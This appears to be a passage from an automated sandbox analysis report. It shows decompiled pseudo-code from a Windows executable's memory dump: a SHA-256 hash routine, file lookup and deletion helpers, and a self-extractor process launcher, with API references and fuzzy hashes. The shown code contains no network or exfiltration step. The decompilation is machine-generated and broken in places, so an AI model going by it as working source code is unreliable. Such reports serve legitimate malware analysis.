																	_a120 = _a120 & 0x00000000;
																	_t451 =  *((intOrPtr*)(_t486 + 0xd0)) + _t570;
																	_t503 = _t584 - _t570 >> 1;
																	__eflags = _t503;
																	if(_t503 != 0) {
																		while(1) {
																			_t570 = _a120;
																			__eflags =  *((short*)(_t451 + _t570 * 2));
																			if( *((short*)(_t451 + _t570 * 2)) == 0) {
																				goto L30;
																			}
																			_a120 = _a120 + 1;
																			__eflags = _a120 - _t503;
																			if(_a120 < _t503) {
																				continue;
																			}
																			goto L30;
																		}
																	}
																	L30:
																	__eflags = _a120 - _t503;
																	if(_a120 == _t503) {
																		goto L87;
																	} else {
																		goto L31;
																	}
																	goto L130;
																	L31:
																	_t452 = _a112;
																	 *( *((intOrPtr*)(_t486 + 0xd8)) + _t452 * 4) = _a116 >> 1;
																	_t447 = _t452 + 1;
																	_t570 = _a116 + 2 + _a120 * 2;
																	_a116 = _t570;
																	_a112 = _t447;
																	__eflags = _t447 -  *(_t486 + 0x5c);
																} while (_t447 <  *(_t486 + 0x5c));
																goto L32;
															}
															goto L130;
														case 4:
															__eax = __ebx + 0x64;
															goto L51;
														case 5:
															__eax = __ebx + 0x7c;
															goto L51;
														case 6:
															__eax = __ebx + 0x94;
															goto L51;
														case 7:
															__eax =  &_v12;
															__ecx = __esi;
															_v12 = __edi;
															_v8 = __edi;
															_v4 = __edi;
															E00419893(__esi, __edx, __edi, __ebp, __eflags,  *((intOrPtr*)(__ebx + 0x5c)),  &_v12) =  &_a72;
															__ecx =  &_a8;
															_a12 = __di;
															__eax = E00419747( &_a8, __edx, __ebp, __eflags, __esi,  &_a72);
															_a120 = __edi;
															__eflags = _a108 - __edi;
															if(_a108 > __edi) {
																_a116 = __edi;
																do {
																	__edi =  *(__ebx + 0x58);
																	__eax = _v12;
																	__ecx = _a120;
																	__edi =  *(__ebx + 0x58) + _a116;
																	__al =  *((intOrPtr*)(_v12 + _a120));
																	 *((char*)(__edi + 0x13)) = __al;
																	__eflags = __al;
																	if(__al != 0) {
																		__ecx =  *((intOrPtr*)(__esi + 0x38));
																		 *((intOrPtr*)(__edi + 8)) = E00418FFB( *((intOrPtr*)(__esi + 0x38)));
																	}
																	_a120 = _a120 + 1;
																	__eax = _a120;
																	_a116 = _a116 + 0x18;
																	__eflags = _a120 - _a108;
																} while (_a120 < _a108);
															}
															__ecx =  &_a8;
															__eax = E00418E1D( &_a8);
															_push(_v12);
															L0041C160();
															_pop(__ecx);
															goto L35;
														case 8:
															goto L64;
														case 9:
															__eax = __ebx + 0xac;
															L51:
															__ecx = __esi;
															 &_a72 = E004198DE(__ecx, __edx, __eflags,  &_a72,  &_a72, _a108);
															L35:
															E00419652(_t486 + 0x108, _t570, _a92, _a96);
															goto L65;
														case 0xa:
															_a16 = __edi;
															__eflags = _a88 - __edi;
															if(__eflags >= 0) {
																if(__eflags > 0) {
																	L58:
																	__ecx =  *((intOrPtr*)(__esi + 0x38));
																	__eax = E00418E7C(__ecx, __edi);
																	__eflags = __al;
																	if(__al != 0) {
																		 *((char*)(__esi + 0x3c)) = 1;
																	}
																	_a16 = _a16 + 1;
																	asm("adc edi, 0x0");
																	__eflags = __edi - _a88;
																} else {
																	__eflags = _a84 - __edi;
																	if(_a84 > __edi) {
																		goto L58;
																		do {
																			do {
																				goto L58;
																			} while (__eflags < 0);
																			if(__eflags <= 0) {
																				goto L62;
																			}
																			goto L65;
																			L62:
																			__eax = _a84;
																			__eflags = _a16 - _a84;
																		} while (_a16 < _a84);
																	}
																}
															}
															L65:
															_t503 =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8));
															__eflags = _t503;
															if(_t503 != 0) {
																goto L87;
															} else {
																E00418E1D(_t599);
																goto L67;
															}
															goto L130;
													}
												}
											} else {
												__eflags = _a92 - 0x40000000;
												if(_a92 > 0x40000000) {
													goto L64;
												} else {
													goto L24;
												}
											}
										}
									} else {
										__eflags = _a84 - _t503;
										if(_a84 > _t503) {
											goto L87;
										} else {
											goto L21;
										}
									}
								}
								goto L130;
							}
							E00418FB1(_t501);
							__eflags = _a108 - _a124 - _a40;
							if(_a108 - _a124 != _a40) {
								E00418E04(_t501);
							}
							_t556 = _a48;
							_t587 = 0;
							_t456 = 0;
							_a116 = 0;
							__eflags = _a124;
							if(_a124 > 0) {
								do {
									__eflags =  *((char*)(_t556 + _t456));
									if( *((char*)(_t556 + _t456)) != 0) {
										_t199 =  &_a116;
										 *_t199 = _a116 + 1;
										__eflags =  *_t199;
									}
									_t456 = _t456 + 1;
									__eflags = _t456 - _a124;
								} while (_t456 < _a124);
							}
							_a120 = _t587;
							__eflags = _a108 - _t587;
							if(__eflags > 0) {
								_t458 = _a24 - _t556;
								__eflags = _t458;
								_a112 = _t556;
								_a124 = _t587;
								_a88 = _t458;
								do {
									_t598 =  *((intOrPtr*)(_t486 + 0x58)) + _a124;
									_t459 = _a60;
									__eflags =  *((char*)(_t459 + _a120));
									_t460 = _t459 & 0xffffff00 |  *((char*)(_t459 + _a120)) == 0x00000000;
									 *(_t598 + 0x10) = _t460;
									 *((intOrPtr*)(_t598 + 0xc)) = 0;
									__eflags = _t460;
									if(_t460 == 0) {
										_t461 = _a112;
										_t579 = _a88;
										__eflags =  *(_t579 + _t461);
										 *((char*)(_t598 + 0x11)) = _t579 & 0xffffff00 |  *(_t579 + _t461) == 0x00000000;
										_t570 =  *_t461;
										_t462 = _t461 + 1;
										__eflags = _t462;
										_a96 =  *_t461;
										_a112 = _t462;
										 *_t598 = 0;
										 *((intOrPtr*)(_t598 + 4)) = 0;
										 *((char*)(_t598 + 0x12)) = 0;
									} else {
										_t465 = _a36;
										 *((char*)(_t598 + 0x11)) = 0;
										_a96 = 0;
										 *_t598 =  *((intOrPtr*)(_t465 + _t587 * 8));
										 *((intOrPtr*)(_t598 + 4)) =  *((intOrPtr*)(_t465 + 4 + _t587 * 8));
										_t467 = E004192B9( &_v44, _t587);
										 *((char*)(_t598 + 0x12)) = _t467;
										__eflags = _t467;
										if(_t467 != 0) {
											 *((intOrPtr*)(_t598 + 0xc)) =  *((intOrPtr*)(_v32 + _t587 * 4));
										}
										_t587 = _t587 + 1;
									}
									__eflags = _a116;
									if(_a116 != 0) {
										E0041967B(_t486 + 0xc4, _a96);
									}
									_a120 = _a120 + 1;
									_a124 = _a124 + 0x18;
									__eflags = _a120 - _a108;
								} while (__eflags < 0);
							}
							_push(_a48);
							L0041C160();
							_push(_a24);
							L0041C160();
							_push(_a60);
							L0041C160();
							_t603 = _t603 + 0xc;
						}
						goto L85;
					}
				} else {
					_t611 = _t570 - _t582;
					if(_t570 != _t582) {
						goto L9;
					} else {
						_push(_a124);
						_push(_a120);
						_t590 = _t486 + 0x100;
						_push(_a116);
						_t479 = E0041A63E(_t592, _t570, _t611,  *((intOrPtr*)(_t486 + 0xf0)),  *((intOrPtr*)(_t486 + 0xf4)), _t590,  &_a72, _a112);
						_a108 = _t479;
						if(_t479 == 0) {
							 *_t590 =  *_t590 +  *((intOrPtr*)(_t486 + 0xf0));
							asm("adc [edi+0x4], eax");
							_t374 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
							_t582 = 0;
							__eflags = 0;
							goto L9;
						} else {
							E0041969C( &_a72);
							_t377 = _a108;
							L86:
							return _t377;
						}
					}
				}
				L130:
			}

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76ba46fa9958c57c63c48877315b86a749a66682a328e3da440c3d135764959
Instruction ID: 4dad77f0705915c109804cafeeec3e4362490793768c25b28525cfb381627a1a
Opcode Fuzzy Hash: e76ba46fa9958c57c63c48877315b86a749a66682a328e3da440c3d135764959
Instruction Fuzzy Hash: 25124771901248DFCB25DF69C980AED7BF6BF44304F14846EF81587262DB38E895CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B350, Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 230
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E0040B350(intOrPtr* __ecx, void* __edx, int _a4) {
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr* _v100;
				char _v104;
				intOrPtr* _v108;
				signed int _v112;
				void* _v116;
				signed int _v120;
				intOrPtr* _v124;
				int _t140;
				signed int _t142;
				signed int _t144;
				signed int _t148;
				void* _t155;
				intOrPtr* _t158;
				int _t177;
				intOrPtr* _t180;
				intOrPtr* _t184;
				intOrPtr* _t191;
				signed int _t205;
				signed int _t225;
				void* _t240;
				void* _t275;

				_t158 = __ecx;
				_t177 = _a4;
				_t222 = __edx;
				_v100 = __ecx;
				if(_t177 == 0) {
					L17:
					return _t140;
				} else {
					_t142 =  *(__ecx + 0x20) & 0x0000003f;
					 *(__ecx + 0x20) =  *(__ecx + 0x20) + _t177;
					asm("adc dword [ebx+0x24], 0x0");
					_t240 = 0x40 - _t142;
					if(0x40 <= _t177) {
						_a4 = _t177 - 0x40;
						memcpy(_t142 + __ecx + 0x28, __edx, 0x40);
						_t275 =  &_v124 + 0xc;
						_v116 = _t222 + _t240;
						while(1) {
							_t144 = 0;
							_t180 = _t158 + 0x30;
							do {
								asm("bswap edx");
								 *((intOrPtr*)(_t275 + 0x4c + _t144 * 4)) =  *((intOrPtr*)(_t180 - 8));
								asm("bswap edx");
								 *((intOrPtr*)(_t275 + 0x50 + _t144 * 4)) =  *((intOrPtr*)(_t180 - 4));
								asm("bswap edx");
								 *((intOrPtr*)(_t275 + 0x54 + _t144 * 4)) =  *_t180;
								asm("bswap edx");
								 *((intOrPtr*)(_t275 + 0x58 + _t144 * 4)) =  *((intOrPtr*)(_t180 + 4));
								_t144 = _t144 + 4;
								_t180 = _t180 + 0x10;
							} while (_t144 < 0x10);
							_v96 =  *_t158;
							_v92 =  *((intOrPtr*)(_t158 + 4));
							_v88 =  *((intOrPtr*)(_t158 + 8));
							_v84 =  *((intOrPtr*)(_t158 + 0xc));
							_v80 =  *((intOrPtr*)(_t158 + 0x10));
							_v76 =  *((intOrPtr*)(_t158 + 0x14));
							_t205 = 0;
							_v72 =  *((intOrPtr*)(_t158 + 0x18));
							_v68 =  *((intOrPtr*)(_t158 + 0x1c));
							_v120 = 0;
							do {
								_t225 = 1;
								_t184 =  &_v64;
								_v112 = 1;
								_t48 = _t225 - 5; // -4
								_t148 = _t48;
								_v108 = _t184;
								_v124 = 0x41f150 + _t205 * 4;
								_v104 = 0x10;
								do {
									if(_t205 != 0) {
										_t55 = _t225 - 3; // -2
										asm("ror ebx, 0x12");
										asm("ror ebp, 0x7");
										asm("ror esi, 0x13");
										asm("ror ebp, 0x11");
										 *_t184 =  *_t184 + ( *(_t275 + 0x4c + (_t225 & 0x0000000f) * 4) ^  *(_t275 + 0x4c + (_t225 & 0x0000000f) * 4) ^  *(_t275 + 0x4c + (_t225 & 0x0000000f) * 4) >> 0x00000003) + ( *(_t275 + 0x4c + (_t55 & 0x0000000f) * 4) ^  *(_t275 + 0x4c + (_t55 & 0x0000000f) * 4) ^  *(_t275 + 0x4c + (_t55 & 0x0000000f) * 4) >> 0x0000000a) +  *((intOrPtr*)(_t275 + 0x4c + (_t225 + 0xfffffff8 & 0x0000000f) * 4));
									}
									_t65 = _t148 + 2; // -2
									_t69 = _t148 + 3; // -1
									asm("ror ebx, 0x19");
									asm("ror ebp, 0xb");
									asm("ror ebp, 0x6");
									_t70 = _t148 + 1; // -3
									_t191 = _t275 + 0x2c + (_t69 & 0x00000007) * 4;
									 *_t191 =  *_t191 + (( *(_t275 + 0x2c + (_t70 & 0x00000007) * 4) ^  *(_t275 + 0x2c + (_t65 & 0x00000007) * 4)) &  *(_t275 + 0x2c + (_t148 & 0x00000007) * 4) ^  *(_t275 + 0x2c + (_t65 & 0x00000007) * 4)) + ( *(_t275 + 0x2c + (_t148 & 0x00000007) * 4) ^  *(_t275 + 0x2c + (_t148 & 0x00000007) * 4) ^  *(_t275 + 0x2c + (_t148 & 0x00000007) * 4)) +  *_t184 +  *_v124;
									_t78 = _t148 - 1; // -5
									 *((intOrPtr*)(_t275 + 0x2c + (_t78 & 0x00000007) * 4)) =  *((intOrPtr*)(_t275 + 0x2c + (_t78 & 0x00000007) * 4)) +  *_t191;
									_t88 = _t148 - 4; // -8
									_v124 = _v124 + 4;
									_t94 = _t148 - 3; // -7
									asm("ror edi, 0x16");
									asm("ror ebx, 0xd");
									asm("ror ebx, 0x2");
									_t98 = _t148 - 2; // -6
									_t205 = _v120;
									 *_t191 =  *_t191 + ( *(_t275 + 0x2c + (_t88 & 0x00000007) * 4) ^  *(_t275 + 0x2c + (_t88 & 0x00000007) * 4) ^  *(_t275 + 0x2c + (_t88 & 0x00000007) * 4)) + ( *(_t275 + 0x2c + (_t98 & 0x00000007) * 4) & ( *(_t275 + 0x2c + (_t94 & 0x00000007) * 4) |  *(_t275 + 0x2c + (_t88 & 0x00000007) * 4)) |  *(_t275 + 0x2c + (_t94 & 0x00000007) * 4) &  *(_t275 + 0x2c + (_t88 & 0x00000007) * 4));
									_t225 = _v112 + 1;
									_t184 = _v108 + 4;
									_t148 = _t148 - 1;
									_t105 =  &_v104;
									 *_t105 = _v104 - 1;
									_v112 = _t225;
									_v108 = _t184;
								} while ( *_t105 != 0);
								_t205 = _t205 + 0x10;
								_v120 = _t205;
							} while (_t205 < 0x40);
							_t158 = _v100;
							 *_t158 =  *_t158 + _v96;
							 *((intOrPtr*)(_t158 + 4)) =  *((intOrPtr*)(_t158 + 4)) + _v92;
							 *((intOrPtr*)(_t158 + 0xc)) =  *((intOrPtr*)(_t158 + 0xc)) + _v84;
							 *((intOrPtr*)(_t158 + 8)) =  *((intOrPtr*)(_t158 + 8)) + _v88;
							 *((intOrPtr*)(_t158 + 0x10)) =  *((intOrPtr*)(_t158 + 0x10)) + _v80;
							 *((intOrPtr*)(_t158 + 0x18)) =  *((intOrPtr*)(_t158 + 0x18)) + _v72;
							_t140 = _a4;
							 *((intOrPtr*)(_t158 + 0x14)) =  *((intOrPtr*)(_t158 + 0x14)) + _v76;
							 *((intOrPtr*)(_t158 + 0x1c)) =  *((intOrPtr*)(_t158 + 0x1c)) + _v68;
							if(_t140 >= 0x40) {
								_a4 = _t140 - 0x40;
								_t155 = memcpy(_t158 + 0x28, _v116, 0x10 << 2);
								_t275 = _t275 + 0xc;
								_v116 = _t155;
								continue;
							}
							if(_t140 != 0) {
								_t140 = memcpy(_t158 + 0x28, _v116, _t140);
							}
							goto L17;
						}
					} else {
						return memcpy(_t142 + __ecx + 0x28, __edx, _t177);
					}
				}
			}

0x0040b354
0x0040b356
0x0040b35e
0x0040b360
0x0040b366
0x0040b5f8
0x0040b5fd
0x0040b36c
0x0040b36f
0x0040b372
0x0040b37b
0x0040b37f
0x0040b383
0x0040b3a1
0x0040b3ae
0x0040b3b3
0x0040b3b8
0x0040b3c0
0x0040b3c0
0x0040b3c2
0x0040b3c5
0x0040b3c8
0x0040b3ca
0x0040b3d1
0x0040b3d3
0x0040b3d9
0x0040b3db
0x0040b3e2
0x0040b3e4
0x0040b3e8
0x0040b3eb
0x0040b3ee
0x0040b3fb
0x0040b402
0x0040b409
0x0040b410
0x0040b417
0x0040b41e
0x0040b422
0x0040b424
0x0040b428
0x0040b42c
0x0040b430
0x0040b430
0x0040b435
0x0040b440
0x0040b444
0x0040b444
0x0040b447
0x0040b44b
0x0040b44f
0x0040b457
0x0040b459
0x0040b468
0x0040b472
0x0040b475
0x0040b481
0x0040b486
0x0040b49c
0x0040b49c
0x0040b4ab
0x0040b4b7
0x0040b4bd
0x0040b4c0
0x0040b4c7
0x0040b4ce
0x0040b4e6
0x0040b4ea
0x0040b4ee
0x0040b4f4
0x0040b4fc
0x0040b506
0x0040b50b
0x0040b517
0x0040b51c
0x0040b523
0x0040b528
0x0040b538
0x0040b542
0x0040b54c
0x0040b54d
0x0040b550
0x0040b551
0x0040b551
0x0040b555
0x0040b559
0x0040b559
0x0040b563
0x0040b566
0x0040b56a
0x0040b573
0x0040b57b
0x0040b581
0x0040b588
0x0040b597
0x0040b59a
0x0040b59d
0x0040b5a8
0x0040b5af
0x0040b5b2
0x0040b5b8
0x0040b5bd
0x0040b5d5
0x0040b5d5
0x0040b5d7
0x00000000
0x0040b5d7
0x0040b5e3
0x0040b5ef
0x0040b5f4
0x00000000
0x0040b5f7
0x0040b385
0x0040b39a
0x0040b39a
0x0040b383

APIs

memcpy.MSVCRT ref: 0040B38C
memcpy.MSVCRT ref: 0040B3AE

Strings

XhV, xrefs: 0040B353

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: XhV
API String ID: 3510742995-2999104372
Opcode ID: d6942c357802de02a4ab3024b27633177e67036e1672e6741ee266c6f5ccec93
Instruction ID: 82061447c1ab4fd48cb6848a21138f0f9f11a7250b43c753729ffff071a4e147
Opcode Fuzzy Hash: d6942c357802de02a4ab3024b27633177e67036e1672e6741ee266c6f5ccec93
Instruction Fuzzy Hash: 1F916CB29043008FC318DF59D88458BB7E1FFC8314F1A8A6EE9489B356E375E955CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00404402, Relevance: 6.0, APIs: 4, Instructions: 43
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404402(WCHAR* __ecx, FILETIME* __edx) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t7;
				signed int _t8;
				intOrPtr _t9;
				FILETIME* _t20;

				_t20 = __edx;
				_t7 = FindFirstFileW(__ecx,  &_v596);
				if(_t7 != 0xffffffff) {
					_t8 = FindClose(_t7);
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						_t9 =  *0x422778; // 0x2
						if(_t9 != 0) {
							if(_t9 != 2 || CompareFileTime( &(_v596.ftLastWriteTime), _t20) >= 0) {
								return 1;
							} else {
								goto L5;
							}
						}
						L5:
						return E004043D5();
					}
					SetLastError(0x10);
					return _t8 | 0xffffffff;
				}
				return 0;
			}

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,-00000001), ref: 00404419
FindClose.KERNEL32(00000000), ref: 00404429
SetLastError.KERNEL32(00000010), ref: 0040443A

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 1dd38c34050e32057a86cfd6f887252e6440109f0c7138c7ef1928e7de9965fb
Instruction ID: e28eadc660d29d22e42b67850f94827f0221515ef145fc3d082d2b957231e6be
Opcode Fuzzy Hash: 1dd38c34050e32057a86cfd6f887252e6440109f0c7138c7ef1928e7de9965fb
Instruction Fuzzy Hash: CEF0A4F5A0012467DB2027349C4CFAA37ACABC1329F204676EA52F25D0D778C942961E

Uniqueness

Uniqueness Score: -1.00%

Function 00403442, Relevance: 6.0, APIs: 4, Instructions: 35
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403442(WCHAR* __ecx) {
				struct _WIN32_FIND_DATAW _v596;
				void* _t5;
				int _t10;
				void* _t15;
				WCHAR* _t16;

				_t16 = __ecx;
				if( *0x4228d8 == 0) {
					_t5 = FindFirstFileW(__ecx,  &_v596);
					__eflags = _t5 - 0xffffffff;
					if(_t5 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t5);
					__eflags = _v596.dwFileAttributes & 0x00000010;
					if(__eflags != 0) {
						return E00403327(_t16, _t15, __eflags);
					}
					_t10 = SetFileAttributesW(_t16, 0);
					__eflags = _t10;
					if(_t10 == 0) {
						return 0;
					}
					return DeleteFileW(_t16);
				}
				L1:
				return 1;
			}

0x00403453
0x00403455
0x00403464
0x0040346a
0x0040346d
0x00000000
0x00000000
0x00403470
0x00403476
0x0040347d
0x00000000
0x0040349b
0x00403482
0x00403488
0x0040348a
0x00000000
0x00403495
0x00000000
0x0040348d
0x00403457
0x00000000

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00403464
FindClose.KERNEL32(00000000), ref: 00403470
SetFileAttributesW.KERNEL32(?,00000000), ref: 00403482
DeleteFileW.KERNEL32(?), ref: 0040348D

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Find$AttributesCloseDeleteFirst
String ID:
API String ID: 3319113142-0
Opcode ID: 4bf8c35936a22843f0fe7391aab8452746d3470be5817f0cd1b69b00b5c16dfa
Instruction ID: 6b212ce663ba0d1f229e145bf37a5fa1ef80438995da8d320f9543b1e0401fa5
Opcode Fuzzy Hash: 4bf8c35936a22843f0fe7391aab8452746d3470be5817f0cd1b69b00b5c16dfa
Instruction Fuzzy Hash: ADF05E70A10A14B6CB226F305D4C7AB3EACAB4132BF544576E852F91D0D77C8A4646AE

Uniqueness

Uniqueness Score: -1.00%

Function 00401D63, Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 196
threadprocesssynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00401D63(void* __ecx, void* __edx, void* __eflags) {
				void* _t58;
				void* _t83;
				void* _t88;
				int _t100;
				void* _t131;
				void* _t138;
				void* _t139;
				long _t140;
				intOrPtr* _t142;
				void* _t144;
				void* _t148;

				_t148 = __eflags;
				_t142 = _t144 - 0x74;
				_t131 = __ecx;
				_t138 = __edx;
				E004147DF(E004147DF(_t58, _t142 + 0x30), _t142 + 0x3c);
				E00403022(GetCommandLineW(), _t142 + 0x30);
				E004146E1(_t142 + 0xc, _t148, E00414787(_t142, E00414787(_t142 - 0xc, E004147B1(_t142 - 0x18, "\"", _t142 + 0x30), L"\" -"), L"sfxwaitall"), 0x3a);
				E004146E1(_t142 + 0x24, _t148, _t142 + 0xc,  *(_t142 + 0x7c) + 0x30);
				E004146E1(_t142 + 0x18, _t148, _t142 + 0x24, 0x20);
				E004146E1(_t142 + 0x5c, _t148, _t142 + 0x18, 0x22);
				E00414864(_t142 + 0x3c,  *((intOrPtr*)(E00414787(_t142 - 0x24, E00414787(_t142 - 0x30, E00414787(_t142 - 0x3c, _t142 + 0x5c, _t131), L"\" "), _t138))));
				_push( *((intOrPtr*)(_t142 - 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0x30)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0x3c)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0x5c)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 + 0xc)));
				L0041C160();
				_push( *_t142);
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0xc)));
				L0041C160();
				_push( *((intOrPtr*)(_t142 - 0x18)));
				L0041C160();
				 *(_t142 - 0x80) = 0x44;
				GetStartupInfoW(_t142 - 0x80);
				_t83 = CreateProcessW(0,  *(_t142 + 0x3c), 0, 0, 1, 0x1000004, 0,  *0x42289c, _t142 - 0x80, _t142 + 0x48);
				if(_t83 != 0) {
					_t139 = 0;
					__imp__CreateJobObjectW(0, 0);
					 *(_t142 + 0x7c) = _t83;
					__eflags = _t83;
					if(_t83 == 0) {
						L9:
						ResumeThread( *(_t142 + 0x4c));
						WaitForSingleObject( *(_t142 + 0x48), 0xffffffff);
						L10:
						CloseHandle( *(_t142 + 0x4c));
						_t88 = GetExitCodeProcess( *(_t142 + 0x48), _t142 + 0x6c);
						__eflags = _t88;
						if(_t88 == 0) {
							 *(_t142 + 0x6c) = GetLastError();
						}
						CloseHandle( *(_t142 + 0x48));
						__eflags = _t139;
						if(_t139 != 0) {
							CloseHandle(_t139);
						}
						__eflags =  *(_t142 + 0x7c);
						if( *(_t142 + 0x7c) != 0) {
							CloseHandle( *(_t142 + 0x7c));
						}
						_t140 =  *(_t142 + 0x6c);
						L2:
						_push( *(_t142 + 0x3c));
						L0041C160();
						_push( *((intOrPtr*)(_t142 + 0x30)));
						L0041C160();
						return _t140;
					}
					__imp__AssignProcessToJobObject(_t83,  *(_t142 + 0x48));
					__eflags = _t83;
					if(_t83 == 0) {
						goto L9;
					}
					_t139 = CreateIoCompletionPort(0xffffffff, 0, 1, 0);
					__eflags = _t139;
					if(_t139 == 0) {
						goto L9;
					}
					 *((intOrPtr*)(_t142 + 0x60)) = 1;
					 *(_t142 + 0x64) = _t139;
					__imp__SetInformationJobObject( *(_t142 + 0x7c), 7, _t142 + 0x60, 8);
					ResumeThread( *(_t142 + 0x4c));
					while(1) {
						_t100 = GetQueuedCompletionStatus(_t139, _t142 + 0x70, _t142 + 0x68, _t142 + 0x58, 0xffffffff);
						__eflags = _t100;
						if(_t100 == 0) {
							goto L9;
						}
						__eflags =  *(_t142 + 0x70) - 4;
						if( *(_t142 + 0x70) == 4) {
							goto L10;
						}
					}
					goto L9;
				}
				_t140 = GetLastError();
				goto L2;
			}

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

GetCommandLineW.KERNEL32(0041D9F0,00000000,00000000), ref: 00401D85

Part of subcall function 004146E1: memcpy.MSVCRT ref: 00414706

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

??3@YAXPAX@Z.MSVCRT ref: 00401E31
??3@YAXPAX@Z.MSVCRT ref: 00401E39
??3@YAXPAX@Z.MSVCRT ref: 00401E41
??3@YAXPAX@Z.MSVCRT ref: 00401E49
??3@YAXPAX@Z.MSVCRT ref: 00401E51
??3@YAXPAX@Z.MSVCRT ref: 00401E59
??3@YAXPAX@Z.MSVCRT ref: 00401E61
??3@YAXPAX@Z.MSVCRT ref: 00401E69
??3@YAXPAX@Z.MSVCRT ref: 00401E71
??3@YAXPAX@Z.MSVCRT ref: 00401E79
GetStartupInfoW.KERNEL32(?,00000022,?,00000020,?,?,00000000,0000003A,?," -,sfxwaitall), ref: 00401E8C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 00401EB2
GetLastError.KERNEL32 ref: 00401EBC
??3@YAXPAX@Z.MSVCRT ref: 00401EC7
??3@YAXPAX@Z.MSVCRT ref: 00401ECF
CreateJobObjectW.KERNEL32 ref: 00401EE6
AssignProcessToJobObject.KERNEL32 ref: 00401EF7
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000), ref: 00401F06
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 00401F23
ResumeThread.KERNEL32(?), ref: 00401F2C
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF), ref: 00401F4F
ResumeThread.KERNEL32(?), ref: 00401F58
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401F63
CloseHandle.KERNEL32(?), ref: 00401F72
GetExitCodeProcess.KERNEL32 ref: 00401F7B
GetLastError.KERNEL32 ref: 00401F85
CloseHandle.KERNEL32(?), ref: 00401F91
CloseHandle.KERNEL32(00000000), ref: 00401F98
CloseHandle.KERNEL32(?), ref: 00401FA2

Strings

sfxwaitall, xrefs: 00401D95
" -, xrefs: 00401D9A

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$??2@CompletionErrorLastResumeThreadmemcpy$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 1989023053-3991362806
Opcode ID: 8de517175050c73336740f3d7500399dbb2a96b63e29ba91ff7f4985e0ad06e9
Instruction ID: b35bb808f7c11860acb9b83f91dbbd997240e1bc6af43985ebd9c44236cdfafe
